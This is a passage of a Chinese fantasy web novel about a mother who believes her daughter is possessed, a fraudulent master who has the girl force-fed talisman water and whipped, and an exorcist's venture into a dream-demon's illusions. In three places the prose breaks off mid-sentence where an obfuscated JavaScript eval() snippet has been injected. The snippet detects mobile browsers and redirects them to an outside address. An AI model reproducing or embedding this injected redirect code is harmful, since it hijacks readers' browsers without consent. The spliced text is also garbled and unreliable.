她在旁边排队等着,看着一个家长带着自己的孩子,哄着孩子喝大师刚做的符水什么的。 一开始孩子又哭又闹,喝完符水后就安静了,孩子家长连连道谢把现金送上,把孩子抱回去。 轮到她的时候,快十点钟,问了她和许奈的生辰八字,和最近发生的事情后,大师给了她一道符。 “拿回去,烧了冲水,让你你女儿起床后什么都不要做,睁开眼就喝干净。” 刘书雪对这个简单的方法表示质疑:“这能管用吗?” “瞧你说的什么话?我就是干这个的,我还能砸了自己的招牌?” 大师对刘书雪的质疑表示生气,语气都变的不好:“不信我你来我这里做什么?” “行。”刘书雪把符收下,“如果解决了,我再给您补三倍的钱。” 一听到刘书雪要补三倍的钱,大师心里痛快了:“行,不管用你就来找我。” 刘书雪把符装好回家。 许奈还没有醒,刘书雪坐在沙发上,犹豫着到底要不要给许奈喝符水。 听到许奈屋内有动静,她不再犹豫,将符点燃放入碗中,按照大师说的冲入清水,端到许奈屋子。 “妈妈。”许奈打开门,看到刘书雪端着一个碗进来,觉得有些奇怪。 “奈奈乖,快把这个喝了。” “这是什么?”看到碗底那些纸灰一样的东西,许奈胃里恶心,死活不肯喝:“我不要喝。” “奈奈,把她喝了,你的病就好了。”刘书雪不顾许奈的抗拒,把碗送到她面前,许奈想跑,被她拉住。 刘书雪把那一碗符水给许奈全部灌下去:“奈奈,你忍一下,忍一下就好了,很快就会没事的。” 她手上动作并不松懈,声音却带着心疼和哭腔。 看到女儿不舒服,刘书雪心里也难受,若不是为了女儿的安全,她完全不想这样逼她喝什么奇怪的东西。 她也不想的啊。 许奈抗拒无效,符水洒了一些喝了一些,喝完后,刘书雪一放开她,她就跑到厕所干呕,想把刚刚喝下去的东西全部吐出来。 但她什么都吐不出来。 “没事了奈奈,没事了,不会有东西缠着你了。” 许奈完全无法理解母亲的疯癫行为,她推开刘书雪回了房间,反锁了门,焦急的呼唤阿家。 “阿家,阿家你还好吗?” 不知道叫了多久,阿家终于出现在她面前,看着阿家安然无恙,她放下心:“你没事就好。” 嗅到空气中箓纸的味道,阿家皱起眉:“我刚刚不在,发生什么事情了?” “妈妈她给我喝奇怪的东西,好像是符水,会不会伤害到你?” 对比起自己的身体健康,许奈更关心眼前的人。 “我没事,一般的符对我没有用。”阿家将许奈仔细检查了一遍,“你呢,有没有觉得哪里不舒服?” “就是觉得有点恶心,不难受。” 许奈摇摇头,紧紧抱住阿家:“你没事就好。” 因为灌符水这个事情,许奈一天没敢出房间,就连刘书雪给她送的饭菜都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15060750|161235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没出来吃。 刘书雪在门口忏悔了几次,可言语中讲的却都是自己的不容易,许奈听了心烦,阿家见到后,将声音彻底屏蔽。 晚上,许奈终于肯从房间出来了。 刘书雪听见动静后从床上下来,拉开门:“饿了吧奈奈,想吃什么妈妈现在给你……” 许奈闭着眼,动作僵硬缓慢,一步一步走到阳台,拉开窗帘,跪下…… 刘书雪上前想将窗帘拉上,却发现平常轻轻松松就能拉动的窗帘现在却有千斤重,任凭她使出浑身解数都无法将其撼动。 她只能眼睁睁看着女儿睡在月光中,陷入崩溃之中。 第二天一早,她又去找了大师,打手以为她是来送钱的,高高兴兴迎上来,却撞上她一张黑脸。 刘书雪把监控录像放给他看:“我按照你要求做了,为什么还是不行?” “这……”看着监控中少女的诡异行为,大师皱紧眉头,“我想想。” 他凝眉沉思了十多分钟,又给出一种解决办法:“问题应该出在老家,你们是不是有个荒废的老宅,院子里还种着一棵树?” 刘书雪细想了一下,记得家中有一颗枣树,但是自己这么多年没有回去,不知道老家现在是什么情况。 “是有一颗枣树。” “这样吧,你什么时候有时间,我陪你们回一趟老家,你准备一些东西,我们回去拜一拜就好了。” “准备什么?” “这样吧,我先把东西买好,结束了你再付款。” 大师生怕刘书雪发脾气大肆宣扬自己的符没有用,影响自己生意,便想了个折中的办法。 “行。”刘书雪决定再给他一次机会,“什么时候都行吗,还是等初一?” “不用,明天,明天就可以。” “那好,明天我来接你。” 第二天,刘书雪又给许奈请假,拉着她坐车。 许奈有些不太想去:“我们要去哪里啊妈妈?” “回家,看看你爸爸。” 刘书雪简单说了一句,便不愿意再多说。 知道是回去见爸爸后,许奈不再排斥,甚至有一点期待。 爸爸去世后埋葬在老家,离得很远,妈妈工作又忙,好久才能带她回去一次。 她几乎都要忘记爸爸埋在村里哪个位置了。 下车后,刘书雪带着许奈和那个大师汇合。 看到大师那一瞬间,许奈就有些排斥,故意和两人拉开距离。 刘书雪走在最前面,用钥匙打开锁,推门进去。 这里已经荒了,院子里长满了草,那颗枣树受天地雨露恩泽,长势还算可以,不过比起有人精心伺候着,还是差了很多。 大师将带来的东西一一摆上,插上香,嘴里叽里咕噜不知道说了什么之后,让开位置。 “奈奈,快来磕个头。” 许奈本来是想拒绝反抗的,但想着自己体力比不过两个成年人,乖乖跪下磕头。 磕完头她马上就想起来,却被大师出声阻止:“别起来。” 说完,大师拿起一根细长的不知道是什么东西,口中念念有词几句后,狠狠捶打在许奈背上。 很疼,那一下像是打在她的灵魂上。 许奈疼的直咬牙。 大师整整打了她九鞭,疼的只有最初的第一鞭。 剩下八鞭,全让阿家给挡住了。 阿家抱着她,轻声哄着她:“奈奈别怕,妈妈来保护你。” 许奈听着,没忍住哭出声,刘书雪在一旁看着,也心疼的流泪。 这次回去之后,刘书雪发现许奈不梦游了,白天也不再自言自语了。 她以为是找的大师管用了,给大师补了一些钱。 几天后的一个夜晚。 刘书雪睡着睡着莫名其妙醒来,她出来上厕所,发现客厅亮亮的,出来一看,发现许奈又在拜月亮。 20.偏印 和之前不同的是,这一次许奈疯狂磕头,咣咣作响,那势头,好像要把之前欠的全部补上一样。 刘书雪有些害怕,她放轻脚步走过去,来到许奈身边,发现许奈已经把脑袋磕出血来。 她压下心中的恐惧,拽着许奈的手臂,想将许奈拉起来:“奈奈,快醒醒。” 平常许奈的力气是不如她的,可现在不知道为什么,任由她如何拉扯,许奈的姿势都保持不变。 一番尝试之后,刘书雪身体疲惫,内心崩溃。 她停下,跪坐在许奈身边看着许奈磕头,心疼的直掉眼泪。 不知道磕了多少个头之后,许奈终于停下来,站起来去沙发上睡觉。 刘书雪赶紧爬起来,取来家中的医药箱,为许奈的脑袋消毒上药包扎。 将那几个沾雪的棉球丢掉后,她守在许奈身边哭了一阵,忽然想到前段时间找的大师。 她忙从卧室拿来手机,打开手机给大师发消息,却发现大师的账号不知道什么时候注销掉了。 她去网上找到当初那个帖子,想在评论区重新私聊那个大师,却看到底下有人回复这个大师疯了且被关在精神病院的事情。 还有人说他就是个彻头彻尾的骗子,根本不会看事儿,肯定是遇到什么棘手的被人家整疯了。 诸如此类的言论还有很多,刘书雪翻着翻着,心里凉了一截。 那个大师遭报应成了精神病,她的女儿也因为这个事情磕破头见血,她不敢再乱动许奈,怕惹怒那个附身在许奈身上的鬼魂,只能坐在客厅陪着。 清晨的第一缕阳光出来之后,许奈从沙发上起来,打盹儿的刘书雪从梦中惊醒,还以为她醒了:“奈奈?” 许奈没有回应,她撕掉脑袋上的纱布丢在地上,走回房间躺下。 刘书雪跟在她身后进去,惊讶发现许奈的额头恢复如初。 昨天的伤口是她亲手处理的,她又是做医生的,怎么会不知道,那个伤口根本不可能在这么短的时间内愈合。 那个鬼是什么意思?是在警告她吗? 警告她不要想办法把它从奈奈身上驱逐,不然就伤害奈奈? 难道她就只能看着那个鬼缠着奈奈,最后将奈奈的生命榨干吗? 她做不到。 为了女儿,她可以放弃一切。 哪怕以命抵命,她也要找到真大师,把那只鬼从奈奈身上驱逐。 * 半个小时后,许奈从美梦中醒来,睁开眼看到刘书雪坐在自己旁边看手机,坐起身和她打招呼:“妈妈,早,你脸色怎么这么差?” 刘书雪看她又把昨晚上发生的事情忘记,抓着她问:“奈奈,你的头不疼吗?” 许奈摸摸自己后脑勺,有些疑惑:“不疼呀,怎么了妈妈?” “没事,我给你做早饭去,你起来洗漱吧。” “好。”刘书雪出去后,许奈拿过床头的闹钟,发现还没到起床时间,更是疑惑:“还没到起床时间怎么就来喊我了?” 她关掉闹钟,起来洗漱。 洗漱完后,许奈来到厨房,发现刘书雪在厨房发呆,锅里的鸡蛋煎糊了都没察觉。 她走过去把火关掉,问:“妈妈,你是不是没休息好?要不今天别去上班了,在家里好好休息吧。” “没事,我今天上夜班,下午可以补觉。”刘书雪把锅里煎糊的鸡蛋铲出来丢到垃圾桶,从家里的零钱盒子拿出一张十块钱的钞票塞到许奈手里:“你等下在路上买点东西吃吧。” “好。”许奈拿上钞票,“那我上学去了,拜拜。” “去吧。” 许奈离开后,刘书雪又愣了一会儿,才换鞋去上班。 查完房写完病历后,刘书雪继续发呆,同事张姐喊她喊了好几遍她才听见:“怎么了张姐?” “我问你明天下夜班有什么安排。”张姐重新问了一遍。 “老样子,在家休息,打扫卫生。” 张姐忽然感慨:“看你累的,都有黑眼圈了,一个人带孩子不容易啊。” “不累,这么多年过去,我早就习惯了。”一开始是累的,但是现在,许奈长大很多,人很懂事,偶尔还会为她分忧,她不需要再操太多心。 尤其是看到许奈的优秀成绩,她的疲惫顿时就消散了。 “你有没有想过,找个人帮你分担一下?” 张姐这一句话把刘书雪问懵了:“啊?” “我老同学,和我同岁,当警察的,离婚后也带着一个女儿,让我帮忙说媒,你要是想见的话,我帮你们安排。” “我考虑一下吧。”刘书雪没有马上回绝,她现在根本无心对付这种事情,怕回绝后,张姐开始给她各种说教。 “好,什么时候有空了就见一面哈,他长得还挺不错的,当时还是我们班班草。” “再看吧。” 刘书雪回完不再说话,低头打开手机,在网上搜了一大堆东西。 网站抓住她的搜索关键词,给她推了各种没用的广告,加重了她的筛选困难。 她捏捏眉,将手机放下,看病人家属刚送来的检查单。 下午她没回去,值班的同事给她从医院食堂带了一份饭,她吃完后也没回去,在值班室休息,等晚上交班。 夜里起初还不忙,凌晨的时候紧急加了一台手术。 她做完手术回来,被值班护士喊住加餐的时候,刚好刷到凛冬的紫薇网。 她不知道凛冬是不是骗子,想着试试再说。 于是来到了这里,向凛冬讲述事情的全部经过。 凛冬听完刘书雪的经历,沉思了好一会儿才问:“你女儿身体状态怎么样?” “和以前一样,状态挺好的,她没跟我说哪里不舒服。” “晚上我陪你去看看吧。”凛冬一时间也拿不准是不是恶鬼作祟,人和鬼待在一起应该身体不好还倒霉,看着面色就不好。 可听刘书雪的描述,那个缠在许奈身上的东西,并没有吸食许奈的精气,还愿意用自己的能量帮许奈治疗。 她不亲眼见见,实在是无法定义。 “好,我晚上来接您。”约定好后,刘书雪回去补觉。 晚上,她按时来接凛冬。 在车子即将进入小区的时候,凛冬叫停:“停在这里就行。” 刘书雪踩下刹车,等凛冬下去后,将车停在路边的车位上,熄火来到凛冬身边。 凛冬拿着手机,在无人的十字路口换着角度拍月亮。 刘书雪不明白她的举动:“大师,我们不回家看看吗?你这是在做什么呢?” “你不觉得你家附近的月亮很圆很亮吗?” 有时候从堂口回去的晚,等人来接的时候,凛冬也会找个地方看月亮。 不知道是不是因为环境污染的原因,空气中的灵力比她修行的时候少了许多,天空更是灰蒙蒙的,像镀上一层黑纱,挡住不少月光与星光。 自她醒来,这么好看又明亮的月亮,她还是头一次见。 如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093276|161235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果是在以前,调皮捣蛋的二师兄会在这个时候,背着伯父和大师兄,偷偷带她去围观妖精修炼。 她曾因此见过很多用月光修炼自身的妖精,也见过这类妖精的拜月行为。 但与许奈不同的是,妖精们只会在每月的十五,月亮最圆最亮的时候来采集月光修炼自身。 每天晚上都拜,还睡在月光中,她闻所未闻。 刘书雪从不注意这些,听凛冬说她才抬头看:“好像是有点,所以我们要上去看看吗?” “不用。”凛冬把手机收起来,从口袋中拿出一个口哨一样的东西:“你把监控打开。” 凛冬从路口往小区里面走去,一直走到刘书雪家楼下,哨子都没有响。 刘书雪那边一直盯着手机监控,往常这个点许奈早该出来了,今天却没看见她从屋子里出来:“奈奈今天怎么不出来?” “看来今天是不会出现了,这个给你吧。”凛冬把手里的哨子交给刘书雪,“如果后续有发现她梦游,你就拍下来发给我。” “好。”刘书雪打开扫一扫,“大师,这个多少钱,我给你付过去。” “这会儿也打不上车,要不你把我送回去,就当抵这个哨子的费用了。” 这里经过的车子很少,打个车不知道还要等多久,凛冬干脆让刘书雪当司机抵债。 “好。”刘书雪应下,把凛冬送回堂口后。 她回到家,刚脱了一只鞋子,就见许奈从房间梦游出来。 她拿出手机想拍下发给凛冬,口袋里的哨子忽然响了起来。 十多秒后,口袋里的哨声戛然而止,许奈从梦游状态中醒过来,看刘书雪这幅打扮,问:“妈妈,这么晚了,你是要出去吗?” “奈奈,你醒了?”刘书雪很惊讶,这还是许奈第一次从梦游状态中醒过来。 全都是因为凛冬给她的哨子。 “嗯,我想上厕所。”许奈以为自己睡糊涂了,打个哈欠往厕所走去。 原本有些困的刘书雪现在精神许多,简单几句把刚才发生的事情转述成文字发给凛冬,发完后,她的手止不住的发抖。 虽然凛冬看起来很年轻,但比之前找的那个靠谱太多,这一次,她没找错人。 凛冬还没有休息,看到后很快回消息给她:【哨子放在家别弄丢了,明天晚上我再去找你。】 刘书雪回了一个:【好。】 接下来的几天晚上,凛冬一直蹲在小区楼下和十字路口抓鬼,有时候她蹲上一个晚上,太阳都出来了,也没有看见哪里有鬼。 在她疑惑的时候,刘书雪给她发来新的反馈:许奈不梦游磕头了,但是做噩梦频繁,开始夜哭,哨子不起作用。 凛冬只好趁着许奈上学的时候,带着白起去看风水。 微微调整家中的布局后,又给刘书雪留了一道用红布包起来的符:“晚上放在你女儿枕头底下,白天让她带在身上。” “好。” 刘书雪当晚就用了,果然,许奈不再半夜哭泣。 这之后,凛冬也经常抽出时间来她这里捉鬼,却仍然不见半点鬼的踪迹。 她只能暂时搁置刘书雪的事情,亲自坐镇堂口接新客。 这天,凛冬坐在店里看书,发现茶壶里的水喝完了,便把书放下,起身去接水。 门口突然吹来怪异的风将她的书页吹乱。 她抬头看去,推门进来的,是一个高中模样的学生。 她穿着校服,背着书包,进来后好奇的打量着这里。 21.偏印 “你好,请问紫薇大师在这里吗?”少女声音发甜,带着几分的腼腆和胆怯。 “我就是,请坐。”凛冬将书合上,去接水回来。 因为是未成年,凛冬没有给少女倒茶水,只给她倒了一杯热水。 少女很紧张,支支吾吾半天,喝了一口水才开始向凛冬控诉母亲的行为:“我妈妈最近被人骗了,她非要说我中邪,还从骗子那里买了两道符,一道烧了冲水强迫我喝,另一道放在我房间,害得我这段时间总是睡不好,她也魂不守舍,大师,有没有什么办法能破了我房间那道符啊?” 凛冬看着少女眼神闪躲,知道她在说谎,但并不戳破。 她拉开抽屉,从里面拿出一个玻璃瓶,推到少女面前:“回去用瓶子里的水把符打湿就好了。” “谢谢。” 少女把书包打开,将自己攒的现金掏出来全部放到桌子上,有零有整。 接着又掏出手机打开扫一扫:“我手机里还有五百块钱,这些加在一起够不够,不够的话可不可以晚几天,等有钱了我再补上。” 凛冬看着那些现金,将它们推回少女面前:“如果管用的话,你带着你妈妈过来补钱吧。” “不行,我妈妈她很忙没有时间过来,大师,还差多少,我先跟同学借一下。” “你还没成年吧,我不和未成年做金钱交易。”凛冬伸出手,“握个手,你就把它拿走吧。” “可以吗?”少女有些不敢相信,“真的不需要付钱吗?” “不需要,就当我做好事了。” “好。”少女伸手和凛冬紧紧相握。 数秒后,凛冬收回手:“祝你和你妈妈身体健康。” “谢谢。”少女拿了那瓶水离开,她前脚刚走,凛冬就从抽屉里拿出来一个空瓶子,把从少女身上拿的那一缕气塞入瓶中,盖紧瓶盖。 凛冬使劲晃了晃瓶子,那缕气在透明的玻璃瓶中慢慢发出彩色的光芒。 她盯着玻璃瓶看了一会儿,才将它放回抽屉,接着拿起少女喝过水的杯子,将里面的水倒掉,扔到垃圾桶,并拿出手机,与刘书雪约好明天白天去抓鬼。 然后就撞见许奈在学校厕所离奇消失的事情。 理清事情的全部经过,凛冬将胸前的血珠子举起来把玩,顺便撤了隔音屏障。 听着外面三人打完一把游戏后,又商量着再开一把的时候,凛冬出去抢了青黛的手机:“别打了,我有头绪了。” “什么?”青黛伸手去够凛冬手里的手机。 “带走那个孩子的应该是一只妖。” 青黛抢回手机,按下匹配键:“什么时候去抓妖,叫上我呗,我跟你一起去。” 之前错过两次,这次白起怎么也不想错过:“我也要去。” 海因在店里无所事事,见青黛和白起都要去,跟着附和:“我也去。” “这样吧,我们做个游戏。”凛冬从抽屉拿出一个木头罐子,“你们猜猜里面是什么东西,谁猜对了我就带谁过去。” 见白起已经拿起纸笔去旁边起卦算卦,青黛丝毫不慌继续打着游戏,从未接触过卜术的海因问:“可以给个提示吗?” “行。”凛冬打开手机,给三人发了六个选项。 青黛收到她的消息,退出游戏回复:【是榛子!】 青黛:【怎么样冬冬,我是不是第一个猜出来的?】 凛冬:【果然是你偷吃的。】 青黛:【……】 青黛:【合着你不是做游戏,你是在这儿钓我呢?】 凛冬:【吃了我的东西记得打工。】 青黛:【好的主人~】 白起是第二个猜出来的,还附带上了详细的解卦过程,凛冬对他的本事很认可,表扬了一番。 海因完全摸不着头脑,只好在凛冬给的选项里随便选了一个,结果被告知选错了,只能留下来看门。 敲定好这次抓妖要带的人选,凛冬就开始准备东西,因为白起不像青黛一样会法术,凛冬给了他很多张符。 太阳一下山,三个人就从堂口出发,去往刘书雪家。 等三人走出去好一会儿,海因抽完游戏的卡池,出了十几个金后才反应过来,自己的幸运buff在凛冬这里失效了。 他拧开木头罐子,将里面的东西全部倒出来,发现是一堆榛子。 对了下凛冬发给他的选项,海因发现六个选项里没有一个选项是榛子。 海因:“……” “不是?” 合着就没打算带他去! * 晚上,在等加班的刘书雪下班的时候。 凛冬手里捏着一张从超市买来的彩色正方形折纸,和青黛坐在街头研究折纸。 白起在旁边研究凛冬发给他的符,辨认它们的用途。 青黛的手很巧,一张粉色折纸在他手中经过几番折叠,就变成一只漂亮的纸鹤。 她把纸鹤放在手心,往里面灌入一些法术,随后轻轻一吹,纸鹤就飞向了空中,在空中绕了一个圆圈才回来。 凛冬伸手将那个千纸鹤接住:“就用你折的这个吧。” 青黛看着地上那几张被折废的彩纸,刚想调侃几句,突然感觉到有人靠近。 她站起身,做警惕姿态望向人来的方向,辨认出靠近的人她见过之后,青黛松了一口气:“有熟悉的人来了。” 路口缓缓出现一道身影,凛冬认出对方,站起来打招呼:“慧阳道长,好久不见。” “你也是为了梦妖而来的吗?”慧阳见是凛冬,主动和她交流线索,并借机打听凛冬来这里的目的:“我在这里查了几天,都没有查到梦妖的踪迹,你那边有什么线索吗?” “我是在抓妖,但我抓的不一定是梦妖。”凛冬不想和慧阳有过多纠缠,三言两语将他打发。 “打扰了。”见打听不到消息,慧阳道长也不再问,顺着罗盘的方向继续往前走,和一路小跑而来的刘书雪擦肩而过。 刘书雪停在凛冬面前,喘着气:“大师,我来了,我们现在就开始吗?” 看她气息不稳,凛冬推缓时间:“我们先去你家,等你恢复力气再说。” “可以带我一个吗?”慧阳拿着手中的罗盘折返回来。 罗盘上的指针在青黛和刘书雪之间摇摆不定,最后停在青黛所在的方向。 刘书雪盯着他了好一会儿,才想起来:“你是高铁站那个人?” 慧阳不是很想提起高铁站的经历,转移话题:“你身上有那只梦妖的力量,你真的没有做过噩梦吗?” “我……”刘书雪不知道能不能说,看向凛冬。 “看来我们要抓的是同一只妖,要合作吗?”凛冬问,“惠阳道长。” 想到来之前师父说,这次任务他要靠别人帮助才能完成,惠阳毫不犹豫答应:“可以。” 凛冬的本事他是见过的,有凛冬的助力,抓妖会变得简单许多。 再者,他还有个拉拢凛冬进入异管局的任务,可以借此机会和她搞好关系。 达成合作后,几个人跟着刘书雪回到家中。 惠阳从身上的包袱中拿出自己准备的法器,走到刘书雪面前:“可以借你几根头发吗?” 刘书雪拔下来自己的头发:“给。” 慧阳将头发缠在自己的法器上,手作剑指,一边画符一边口中念念有词。 接着,法器闪出耀眼金光,将他们带入一个虚无的空间。 周围雾蒙蒙的,慧阳拿出罗盘,朝着指针给出的方向前进:“大家跟紧我。” 往前走了一段距离后,雾渐渐散去,眼前出现一个大型的游乐场。 “芜湖——” “妈妈,过山车好好玩啊,我等下还想坐跳楼机,还想去鬼屋大冒险!” 游乐场内传来少女欢快的笑声,几个人下意识朝着声音传来的地方看去。 刘书雪一眼认出坐在过山车上的人:“奈奈。” 她失了神志,不顾危险冲过去,青黛眼疾手快将她拉住:“别乱跑。” “妈妈,你站在那里干什么,快过来和我一起坐过山车啊,很好玩的。” 过山车上的许奈忽然摘掉了安全带,站起来招呼刘书雪过去。 刘书雪被青黛拉着,挣脱不开,只能绝望的喊她小心:“奈奈,快下来,危险。” “不危险啊,妈妈你看,不会受伤的。”许奈蹦了两下,想给刘书雪证明自己很安全,却没想到脚底打滑,摔了下来。 好在她反应够快,抓到了边缘,没有掉下去。 刘书雪吓得心脏都要停了。 许奈这才察觉到危险:“妈妈救我。” “奈奈别怕,妈妈这就来救你。”刘书雪再也顾不上别的,用力甩开青黛的手冲上去。 “喂,那是梦境,不是真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白烟散去后,眼前的“青竹”幻化成了新的容貌,质问她:“你也是妖,为什么要帮着人类?” 青黛看着眼前和自己一个模子刻出来的人,冷冷道:“那你为什么要绑架人类?” “我没有绑架,奈奈她是自愿的。” “你敢说你一点都没有蛊惑她吗?”青黛翻了个白眼,“别用我这张脸说话,变回去。” “就不。”梦妖不仅不变,还用青黛的身体做了青黛从来不会做的,特别损形象的动作,故意激怒她。 青黛再也受不了:“敢拿姑奶奶的脸做这种表情,你给我去死吧!” * 凛冬这边,看到青黛和慧阳们消失后,她就意识到自己来到了梦妖为她单独设置的梦境。 眼前是一座大敞开着的城门,她走进去,发现里面是非常热闹的大街。 “小师妹。”肩膀被人从背后拍了一下,凛冬转身,一串糖葫芦被举到她面前:“师兄用私房钱给你买的糖葫芦,快吃吧,别让大师兄发现了。” “二师兄?”凛冬看着眼前意气风发的人,红了眼。 “快吃吧,别跟师兄客气。”二师兄把糖葫芦塞到凛冬手中,“我去帮师娘拿东西。” 凛冬盯着糖葫芦看了半天,轻轻咬了一口,酸的她直掉眼泪。 二师兄来来回回好几趟,把东西全部搬到车上,大师兄才和师娘从店里出来,这一次,不等他们打招呼,凛冬主动迎上去:“伯母,大师兄。” 大师兄看见她手中的糖葫芦:“你不是牙疼吗,怎么还吃糖葫芦?” 凛冬赶紧将糖葫芦放到身后:“就吃了一颗,没事的。” 大师兄看到一旁压低存在感的二师兄,问凛冬:“他给你买的是不是?” 凛冬摇摇头,但二师兄还是挨了一巴掌,逗得凛冬直笑。 “别闹了,我们回家。”师娘先他们上了马车,撩起帘子,出声将二师兄解救。 二师兄得到解脱,三两下进入马车里跟师娘撒娇:“师娘,你看大师兄把我这里打的。” 大师兄冷哼一声,跟在他后面上了马车,想起来凛冬还在一旁站着,他伸手:“师妹,快上来,我们回家。” “来了。”凛冬不再犹豫,搭上大师兄那只手上车。 22.偏印 白起进入游乐场后,忽然感觉到地面震动了一下。 他回头,发现原本站在门口的凛冬三人不见踪影。 看着刘书雪完全被蛊惑,不顾危险爬到过山车的铁轨上,白起不再纠结凛冬的消失,加快速度追上她。 “妈妈救我,我快坚持不住了。”许奈哭声越来越小,刘书雪一边安抚她,一边加快自己爬轨道的速度:“奈奈别怕,抓紧了,妈妈马上就来。” 翻过了几个椅背后,刘书雪站稳:“奈奈,把手给妈妈,快。” 许奈松开铁轨,刘书雪抓到她的手后,用力将她拉上来:“没受伤吧,让妈妈看看。” 刘书雪扶着许奈的肩膀,三百六十度检查许奈的身体。 “妈妈。”许奈喊了一声。 刘书雪检查完抬起头:“嗯?” 眼前的少女眼中哪里还有恐惧,只有对刺激的渴望:“我们去玩跳楼机好不好?” 刘书雪还处在刚才的惊吓中没缓过来:“不要,太危险了,我们还是回家吧,奈奈,妈妈带你回家好不好?” 许奈摇摇头:“跳楼机很好玩的,妈妈,你试试吧。” 许奈猛地推了一把刘书雪,刘书雪没站稳,被许奈推下去,好在她反应很快,抓住了铁轨的边缘。 她仰起头,刚好和低头的许奈对上视线,许奈对她浅浅一笑,在她惊愕的目光中离开,将她抛下。 白起赶过来后,将她拉上来,她不顾自己手臂上的伤,第一件事就是找许奈:“奈奈呢?” “我没有看见。” “她刚刚还在这里。”刘书雪四下寻找许奈的踪迹,终于在鬼屋入口看见她。 “奈奈!”她大喊,引起许奈的注意。 “妈妈。”许奈挥着手,“快来鬼屋和我一起玩啊!” “你站在那里别动,妈妈马上就来。” 刘书雪又来了动力,和白起两人从过山车上下来,朝着鬼屋走去。 许奈看到他们下来,转身进入鬼屋。 刘书雪毫不犹豫追上许奈的脚步,白起拦不住,只能紧紧跟在她身后,并提醒道:“这里很危险,别乱跑。” 进入鬼屋后,刘书雪发现许奈又消失不见:“奈奈又不见了,接下来我们该去哪里找她?” 看到她的手臂还在淌血,白起将外套脱下,缠住她带血的手臂,“她不一定是你女儿,可能是幻觉,你小心一点。” 刘书雪听完,默不作声。 见两人没有往前,许奈的声音又出现:“妈妈,你好慢啊,我先去出口等你,你快点追上来吧。” 听到女儿的声音,刘书雪哪里还能听得进去的白起的话,分分钟忘个干净:“奈奈,你等着,妈妈马上就过来。” 见她依旧被蛊惑,白起无奈叹口气,从口袋摸出一条红线,一端缠在刘书雪手上,一端缠在自己身上,防止刘书雪走丢。 刘书雪朝着声音传来的方向走去,没走几步,镶嵌在墙上的火把挨个亮起,照亮黑洞洞的鬼屋。 火光灼烧着,偶尔发出一些叹息声。 白起这才发现,他们身处之地是一个奇怪的长廊。 走廊的尽头是一个雕刻在墙上,青面獠牙眼珠爆出的怪物,在暗红色的火光映照下,显得更加恐怖。 迎面吹来一阵阴风,带着一股奇怪的香味。 白起捂住口鼻,想提醒刘书雪别闻,一转头,发现刘书雪已经朝走廊尽头跑去,他只能跟上。 走到走廊中间时,两边突然冒出几个喷火口,喷出火焰。 刘书雪吓得不敢动弹,白起找准时机,拉着她躲避火焰走到对面安全区。 两人还没从劫后余生中缓过来,墙上那个怪物忽然动起来,朝他们扑来。 白起推开刘书雪,自己也摔倒在地昏迷。 醒来后,白起下意识查看自己手上的红线,红线不知所踪,他应该是来到了新的虚幻境。 离他不远处,有一团白光,散发着温暖,吸引他靠近。 周围一片混沌,白起转了一圈后还是选择靠近那团白光,想从中找找看有没有什么能打破虚幻境的方法。 却在穿过白光后,发现自己身上的衣服变成了古代婚服。 白起脑子里一瞬间飘过无数个关于鬼新娘的故事。 此刻,他身处婚房,面前床上坐着一个盖着红盖头的新娘。 白起:“……” 他做了下心理准备,拿起桌子上的秤杆,将眼前新娘的盖头挑起。 凛冬的脸赫然入眼,吓得白起后退几步,秤杆也落在地上。 “……凛冬?” 床上的“凛冬”突然站起来,朝着他步步逼近。 “嫁给你,我和大师兄就不用四处逃命了是不是?” “嫁给你,白家就会帮我师门报仇是不是?” “嫁给你,一切因我而起的战乱都会结束是不是?” 莫名其妙的问题让白起摸不着头脑,他不敢回话,随着凛冬的动作一步步往后退去。 “你怎么不说话?” “是不是因为我没有把内丹挖出来?” 凛冬停下,从袖口中拔出一把匕首,抵在自己小腹上,又朝着他逼近。 “你娘说,只要我把内丹挖出来,嫁给你相夫教子,一切就都会结束,你说,是这样吗?” 白起往后退着,直到后背抵住墙壁。 “凛冬……”饶是在心中念了数千次眼前之人不是凛冬,还是无用。 他根本无法把眼前的人当作不存在。 “可是挖内丹好痛,我害怕。”凛冬见白起不再往后退了,拉起他的手将匕首塞进去,“你帮帮我好不好?” 凛冬拉着他的手腕,将匕首慢慢刺向自己的小腹,在尖刃要刺破她身体的时候,凛冬忽然抬起他的手,刺向他的心口。 那一瞬间,“凛冬”被白起心口的符弹飞。 白起摸向心口那一阵温热,看着倒在地上的“凛冬”。 她狰狞着爬起,发出诡异的笑:“哈哈哈哈哈。” 桌上的烛火被她放倒,火焰贴上养料,开始蔓延。 浓重的烟气呛得白起说不出话,他用力踹开屋门,从里面跑出来,来到湖边,用湖水冲了一把脸。 身后的房子还在冒着火光,整个府邸透着诡异的安静,他站起来,往府外跑去。 从府邸出去,白起看见凛冬手持长剑,在外面静候他多时。 “凛冬。” 面前的人带着浓重的杀意,他想跑,腿却像和大地长在一起一样,无法拔起。 只能看着凛冬挥起长剑…… * 